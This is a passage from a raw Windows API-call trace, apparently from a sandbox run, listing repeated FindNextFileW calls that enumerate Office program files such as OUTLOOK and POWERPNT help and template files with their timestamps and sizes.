ftLastWriteTime.dwLowDateTime=0xe7df9900, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x644d70, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.DLL", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2411fa00, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2411fa00, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x1d380, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2411fa00, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0x1416a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2411fa00, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x46f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa80e2700, ftCreationTime.dwHighDateTime=0x1ca8f17, ftLastAccessTime.dwLowDateTime=0x1462d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa80e2700, ftLastWriteTime.dwHighDateTime=0x1ca8f17, nFileSizeHigh=0x0, nFileSizeLow=0x6aa3d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.DEV.HXS", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x1462d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.DEV_COL.HXC", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fbc4400, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1462d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4fbc4400, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.DEV_COL.HXT", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fbc4400, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1462d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4fbc4400, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.DEV_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fbc4400, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1462d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4fbc4400, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.DEV_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3475b500, ftCreationTime.dwHighDateTime=0x1ca95bc, ftLastAccessTime.dwLowDateTime=0x1488eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3475b500, ftLastWriteTime.dwHighDateTime=0x1ca95bc, nFileSizeHigh=0x0, nFileSizeLow=0x13a57c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.HOL", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ede2d00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8ede2d00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x4c4c67, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.HXS", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK_COL.HXC", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c28bd00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c28bd00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK_COL.HXT", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c28bd00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c28bd00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c28bd00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c28bd00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40d55d00, ftCreationTime.dwHighDateTime=0x1c7cc60, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x40d55d00, ftLastWriteTime.dwHighDateTime=0x1c7cc60, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLPERF.H", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40d55d00, ftCreationTime.dwHighDateTime=0x1c7cc60, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x40d55d00, ftLastWriteTime.dwHighDateTime=0x1c7cc60, nFileSizeHigh=0x0, nFileSizeLow=0xa87, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLPERF.INI", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x1f760, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLWVW.DLL", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2411fa00, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2411fa00, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x2b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLWVW.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PASSPORT.CSS", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PASTEL.CSS", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50b8c480, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x14980, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE.VSL", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cd5800, ftCreationTime.dwHighDateTime=0x1c56bc5, ftLastAccessTime.dwLowDateTime=0x50bfe8a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5cd5800, ftLastWriteTime.dwHighDateTime=0x1c56bc5, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIPELINE.VRD", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xdf0d2c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x33a380, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJINTL.DLL", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x25b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJINTLC.DLL", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50c24a00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x2980, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMENURES.DLL", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900f5a00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xf5dfd790, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x900f5a00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x4cf264, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.DEV.HXS", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xf5dfd790, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.DEV_COL.HXC", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56e35200, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5dfd790, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x56e35200, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.DEV_COL.HXT", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56e35200, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5dfd790, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x56e35200, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.DEV_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56e35200, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5dfd790, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x56e35200, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.DEV_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe02ac500, ftCreationTime.dwHighDateTime=0x1ca9370, ftLastAccessTime.dwLowDateTime=0xf5e49a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe02ac500, ftLastWriteTime.dwHighDateTime=0x1ca9370, nFileSizeHigh=0x0, nFileSizeLow=0x68013d, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.HXS", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xf5e49a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT_COL.HXC", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x534fcb00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5e49a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x534fcb00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT_COL.HXT", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x534fcb00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5e49a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x534fcb00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x534fcb00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5e49a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x534fcb00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcab1b00, ftCreationTime.dwHighDateTime=0x1cabea2, ftLastAccessTime.dwLowDateTime=0xf5e6fbb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcab1b00, ftLastWriteTime.dwHighDateTime=0x1cabea2, nFileSizeHigh=0x0, nFileSizeLow=0x139968, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.DLL", cAlternateFileName="")) returned 1 [0069.608] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45e38b00, ftCreationTime.dwHighDateTime=0x1cabea2, ftLastAccessTime.dwLowDateTime=0xf5e49a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x45e38b00, ftLastWriteTime.dwHighDateTime=0x1cabea2, nFileSizeHigh=0x0, nFileSizeLow=0x9580, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0069.609] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45e38b00, ftCreationTime.dwHighDateTime=0x1cabea2, ftLastAccessTime.dwLowDateTime=0xf5e6fbb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x45e38b00, ftLastWriteTime.dwHighDateTime=0x1cabea2, nFileSizeHigh=0x0, nFileSizeLow=0x22180, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0069.609] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50c4ab60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRIMARY.CSS", cAlternateFileName="")) returned 1 [0069.609] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50c70cc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x21788, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPRPT.VSL", cAlternateFileName="")) returned 1 [0069.609] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e830b00, ftCreationTime.dwHighDateTime=0x1ca4730, ftLastAccessTime.dwLowDateTime=0x50c70cc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7e830b00, ftLastWriteTime.dwHighDateTime=0x1ca4730, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPRPT.VSS", cAlternateFileName="")) returned 1 [0069.609] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4722d700, ftCreationTime.dwHighDateTime=0x1c4bfe8, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4722d700, ftLastWriteTime.dwHighDateTime=0x1c4bfe8, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLN.DOC", cAlternateFileName="")) returned 1 [0069.609] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9744d100, ftCreationTime.dwHighDateTime=0x1c7e3af, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9744d100, ftLastWriteTime.dwHighDateTime=0x1c7e3af, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLN.PPT", cAlternateFileName="")) returned 1 [0069.609] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51dd6c00, ftCreationTime.dwHighDateTime=0x1c4bfe8, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x51dd6c00, ftLastWriteTime.dwHighDateTime=0x1c4bfe8, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLN.XLS", cAlternateFileName="")) returned 1 [0069.609] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45f1aa00, ftCreationTime.dwHighDateTime=0x1c4bfe8, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x45f1aa00, ftLastWriteTime.dwHighDateTime=0x1c4bfe8, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLV.DOC", cAlternateFileName="")) returned 1 [0069.609] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9744d100, ftCreationTime.dwHighDateTime=0x1c7e3af, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9744d100, ftLastWriteTime.dwHighDateTime=0x1c7e3af, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLV.PPT", cAlternateFileName="")) returned 1 [0069.609] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d18b800, ftCreationTime.dwHighDateTime=0x1c4bfe8, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d18b800, ftLastWriteTime.dwHighDateTime=0x1c4bfe8, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLV.XLS", cAlternateFileName="")) returned 1 [0069.609] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99e7da00, ftCreationTime.dwHighDateTime=0x1c5c981, ftLastAccessTime.dwLowDateTime=0xc840bb0, 